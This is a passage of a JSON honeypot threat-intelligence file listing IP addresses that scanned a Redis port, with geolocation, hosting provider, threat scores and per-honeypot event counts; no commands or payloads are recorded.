        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:24:52+00:00",
        "last_seen_30d": "2026-05-10T05:25:56.756000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "104.237.153.38": {
      "attack_count": 9,
      "first_seen": "2026-05-19T01:50:38.000Z",
      "last_seen": "2026-05-19T01:51:55.344Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T07:41:33+00:00",
        "last_seen_30d": "2026-05-19T01:51:55.344000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 39,
        "Redishoneypot": 3
      }
    },
    "13.57.181.139": {
      "attack_count": 9,
      "first_seen": "2026-05-05T12:04:37.000Z",
      "last_seen": "2026-05-05T12:06:05.810Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:04:37+00:00",
        "last_seen_30d": "2026-05-05T12:06:05.810000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "205.210.31.104": {
      "attack_count": 9,
      "first_seen": "2026-05-16T20:16:42.000Z",
      "last_seen": "2026-05-16T20:18:22.889Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 25,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-05T06:08:27.691000+00:00",
        "last_seen_30d": "2026-05-29T23:04:21.869000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 20,
        "Cowrie": 8,
        "ConPot": 4,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "91.211.49.72": {
      "attack_count": 9,
      "first_seen": "2026-05-24T11:38:28.000Z",
      "last_seen": "2026-05-24T11:39:34.935Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Ialoveni",
      "asn": 48480,
      "as_org": "S.C. AltNet C.C. S.R.L.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T11:38:28+00:00",
        "last_seen_30d": "2026-05-24T11:39:34.935000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "162.243.59.115": {
      "attack_count": 8,
      "first_seen": "2026-05-23T16:44:11.000Z",
      "last_seen": "2026-05-23T16:45:20.643Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 68.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.3,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 533,
        "days_active_30d": 7,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-23T15:10:39.398000+00:00",
        "last_seen_30d": "2026-05-29T04:20:31.984000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 429,
        "Honeytrap": 95,
        "Honeyaml": 6,
        "ElasticPot": 3
      }
    },
    "47.112.6.255": {
      "attack_count": 7,
      "first_seen": "2026-05-18T03:38:48.000Z",
      "last_seen": "2026-05-18T03:39:56.181Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 14,
        "spread": 5,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-18T03:38:48.311000+00:00",
        "last_seen_30d": "2026-05-18T03:40:41.997000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14
      }
    },
    "101.249.63.165": {
      "attack_count": 6,
      "first_seen": "2026-05-22T00:36:05.000Z",
      "last_seen": "2026-05-22T00:37:13.164Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-22T00:37:13.164000+00:00",
        "last_seen_30d": "2026-05-22T00:37:13.164000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "188.166.212.216": {
      "attack_count": 6,
      "first_seen": "2026-05-25T00:10:46.000Z",
      "last_seen": "2026-05-25T00:11:47.963Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 151607,
        "days_active_30d": 20,
        "ports_targeted_30d": 64984,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-06T22:00:40+00:00",
        "last_seen_30d": "2026-05-25T00:24:25.265000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130037,
        "Honeytrap": 21509,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 10,
        "Miniprint": 8,
        "ConPot": 5,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "37.187.87.33": {
      "attack_count": 6,
      "first_seen": "2026-05-28T22:05:07.000Z",
      "last_seen": "2026-05-28T22:06:16.378Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-28T22:06:16.378000+00:00",
        "last_seen_30d": "2026-05-28T22:06:16.378000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "45.79.186.176": {
      "attack_count": 6,
      "first_seen": "2026-05-08T12:50:27.000Z",
      "last_seen": "2026-05-08T12:51:32.534Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 30,
        "ports_targeted_30d": 162,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:53:54.607000+00:00",
        "last_seen_30d": "2026-05-31T23:09:00.593000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 168
      }
    },
    "45.82.76.107": {
      "attack_count": 6,
      "first_seen": "2026-05-09T10:25:05.000Z",
      "last_seen": "2026-05-09T10:26:38.719Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited",
      "threat_score": 60.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 28,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T11:13:50.979000+00:00",
        "last_seen_30d": "2026-05-30T00:40:47.628000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "64.23.135.62": {
      "attack_count": 6,
      "first_seen": "2026-05-28T05:54:37.000Z",
      "last_seen": "2026-05-28T05:55:37.688Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-28T05:55:37.688000+00:00",
        "last_seen_30d": "2026-05-28T05:55:37.688000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "100.29.192.36": {
      "attack_count": 5,
      "first_seen": "2026-05-10T22:59:20.000Z",
      "last_seen": "2026-05-10T23:01:01.799Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 56.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 18.3,
        "diversity": 18,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 22,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:01:01.799000+00:00",
        "last_seen_30d": "2026-05-31T15:23:25.357000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Sentrypeer": 1
      }
    },
    "137.184.77.1": {
      "attack_count": 5,
      "first_seen": "2026-05-10T03:21:57.000Z",
      "last_seen": "2026-05-10T03:23:05.661Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-10T03:23:05.661000+00:00",
        "last_seen_30d": "2026-05-10T03:23:05.661000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "143.42.1.84": {
      "attack_count": 5,
      "first_seen": "2026-05-27T12:46:17.000Z",
      "last_seen": "2026-05-27T12:47:23.867Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 30,
        "ports_targeted_30d": 184,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T05:35:18.952000+00:00",
        "last_seen_30d": "2026-05-31T21:02:30.311000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 193
      }
    },
    "146.56.220.191": {
      "attack_count": 5,
      "first_seen": "2026-05-05T06:06:55.000Z",
      "last_seen": "2026-05-05T06:08:04.856Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 1.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T06:08:04.856000+00:00",
        "last_seen_30d": "2026-05-05T06:08:04.856000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "161.35.109.215": {
      "attack_count": 5,
      "first_seen": "2026-05-18T14:40:44.000Z",
      "last_seen": "2026-05-18T14:41:45.379Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1889,
        "days_active_30d": 1,
        "ports_targeted_30d": 1897,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T14:31:31.310000+00:00",
        "last_seen_30d": "2026-05-18T15:04:59.881000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1870,
        "Honeytrap": 19
      }
    },
    "170.187.165.134": {
      "attack_count": 5,
      "first_seen": "2026-05-30T12:51:35.000Z",
      "last_seen": "2026-05-30T12:52:40.834Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 30,
        "ports_targeted_30d": 158,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T02:19:02.462000+00:00",
        "last_seen_30d": "2026-05-31T23:43:09.975000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 175
      }
    },
    "172.234.221.84": {
      "attack_count": 5,
      "first_seen": "2026-05-25T12:45:04.000Z",
      "last_seen": "2026-05-25T12:46:09.911Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 30,
        "ports_targeted_30d": 172,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T13:07:43.569000+00:00",
        "last_seen_30d": "2026-05-31T23:03:33.179000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 186
      }
    },
    "172.239.62.109": {
      "attack_count": 5,
      "first_seen": "2026-05-31T12:43:52.000Z",
      "last_seen": "2026-05-31T12:44:59.253Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 30,
        "ports_targeted_30d": 162,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:37:40.327000+00:00",
        "last_seen_30d": "2026-05-31T23:00:51.910000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 173
      }
    },
    "193.163.125.24": {
      "attack_count": 5,
      "first_seen": "2026-05-25T06:25:22.000Z",
      "last_seen": "2026-05-25T06:26:23.430Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 69.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 30,
        "ports_targeted_30d": 94,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T02:10:06.012000+00:00",
        "last_seen_30d": "2026-05-31T18:23:46.253000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97
      }
    },
    "199.45.154.176": {
      "attack_count": 5,
      "first_seen": "2026-05-17T11:13:37.000Z",
      "last_seen": "2026-05-17T11:14:45.986Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 69.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:54:17.429000+00:00",
        "last_seen_30d": "2026-05-31T18:43:04.780000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 88
      }
    },
    "45.56.84.110": {
      "attack_count": 5,
      "first_seen": "2026-05-03T12:48:25.000Z",
      "last_seen": "2026-05-03T12:49:33.970Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 30,
        "ports_targeted_30d": 154,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:12:23.268000+00:00",
        "last_seen_30d": "2026-05-31T23:05:46.517000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 168
      }
    },
    "64.62.197.202": {
      "attack_count": 5,
      "first_seen": "2026-05-19T07:27:24.000Z",
      "last_seen": "2026-05-19T07:28:33.369Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 66.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:17:40.514000+00:00",
        "last_seen_30d": "2026-05-31T04:18:02.715000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 3
      }
    },
    "66.132.186.208": {
      "attack_count": 5,
      "first_seen": "2026-05-27T23:39:27.000Z",
      "last_seen": "2026-05-27T23:40:28.850Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 67.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T14:38:05.169000+00:00",
        "last_seen_30d": "2026-05-31T15:15:06.768000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52
      }
    },
    "66.132.224.21": {
      "attack_count": 5,
      "first_seen": "2026-05-17T21:27:29.000Z",
      "last_seen": "2026-05-17T21:28:33.025Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 66.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 28,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-04T04:43:40.031000+00:00",
        "last_seen_30d": "2026-05-31T20:56:35.012000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59
      }
    },
    "66.240.192.82": {
      "attack_count": 5,
      "first_seen": "2026-05-21T02:40:22.000Z",
      "last_seen": "2026-05-21T02:42:01.521Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.4,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 24,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T12:00:24.818000+00:00",
        "last_seen_30d": "2026-05-29T23:32:29.877000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Cowrie": 4,
        "Dionaea": 2,
        "H0neytr4p": 1
      }
    },
    "137.184.222.223": {
      "attack_count": 4,
      "first_seen": "2026-05-28T04:59:31.000Z",
      "last_seen": "2026-05-28T05:00:40.177Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.8,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 2,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T05:00:12.386000+00:00",
        "last_seen_30d": "2026-05-29T13:37:43.674000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeyaml": 4
      }
    },
    "157.230.63.192": {
      "attack_count": 4,
      "first_seen": "2026-05-18T05:28:01.000Z",
      "last_seen": "2026-05-18T05:29:07.215Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1946,
        "days_active_30d": 1,
        "ports_targeted_30d": 1856,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-18T05:22:37+00:00",
        "last_seen_30d": "2026-05-18T06:15:33.046000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1848,
        "Honeytrap": 95,
        "Dionaea": 3
      }
    },
    "193.3.53.10": {
      "attack_count": 4,
      "first_seen": "2026-05-02T07:51:42.000Z",
      "last_seen": "2026-05-02T07:52:50.033Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 211607,
      "as_org": "Securitytrails, LLC",
      "threat_score": 64.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T03:05:02.476000+00:00",
        "last_seen_30d": "2026-05-31T15:42:21.975000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27
      }
    },
    "206.189.233.77": {
      "attack_count": 4,
      "first_seen": "2026-05-20T08:59:12.000Z",
      "last_seen": "2026-05-20T09:00:21.835Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 41.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1886,
